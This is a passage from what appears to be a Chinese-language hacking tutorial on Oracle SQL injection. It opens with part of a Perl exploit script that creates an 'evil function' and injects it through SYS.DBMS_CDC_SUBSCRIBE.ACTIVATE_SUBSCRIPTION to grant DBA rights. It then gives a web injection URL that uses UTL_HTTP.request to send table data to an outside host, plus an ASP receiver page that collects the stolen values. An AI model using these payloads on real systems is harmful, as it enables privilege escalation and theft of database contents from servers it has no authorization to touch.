Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user [-P <port> Oracle port]
USAGE exit 0 }
my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u};
my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; }
my $sqlcmd = "GRANT DBA TO $user"; print "[-] Wait...\n";
if ($opt{r}) { print "[-] Revoking DBA from $user...\n"; $sqlcmd = "REVOKE DBA FROM $user"; $dbh->do( $sqlcmd ); print "[-] Done!\n"; $dbh->disconnect; exit; }
print "[-] Creating evil function...\n"; $dbh->do( qq{ CREATE OR REPLACE FUNCTION OWN RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; RETURN(0); END; } );
print "[-] Go ...(don't worry about errors)!\n"; my $sth = $dbh->prepare(qq{ BEGIN SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||'''); END; }); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit;
-------
以上 的方法其实就是 首先自己要建立一个函数叫 OWN 里面的操作就是 GRANT DBA TO $user 把DBA权限授予某个用户! 然后到有存在注入的存储过程中 SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数 ); 因为 ACTIVATE_SUBSCRIPTION方法存在注射 所以会直接执行 own函数 去添加一个权限 这里演示的是 需要先建立一个函数的!但是我们WEB SQL INJ的时候不能写多个SQL来建个函数啊! 有什么方法? ACTIVATE_SUBSCRIPTION存在注射 当然也可以把后面的语句屏蔽了!跟我们WEB SQL INJ差不多 具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入in ORACLE>>的文章
以上原理介绍完了 开始实战! 记得 很多文章说要是SQL语句这样子写 sqlstr="begin select * from kj021320 where name=$name;end;"; 可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了 sqlstr="select * from kj021320 where name=$name"; 所以在,ORACLE WEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档
回到上面的注射一般都会返回false的! 没关系其实有函数注射 权限对我们来说不重要~ 那现在怎么确认ORACLE主机的位置呢? 也就是说他的IP跟WEB是不是同一个机器 那么我们采用 UTL_HTTP 这个包里面的 request函数 例子: SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1 他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式 可以参看 ART OF WEB-SQL-INJECTION第1卷
那么我们怎么构造这个注射呢?很简单! http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES) 这样子! 然而我们得构造一个页面接收请求的参数!ASP简单实现 <% if request("data")="" then response.Write Application("oracle_data") else dim dataValue dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>" if request("clear")<>"" then Application("oracle_data")=dataValue else Application("oracle_data")=Application("oracle_data") & dataValue end if end if %> 除非他数据库是内网 不然一般我们都可以获取他的IP地址以及数据~ 比猜表还快!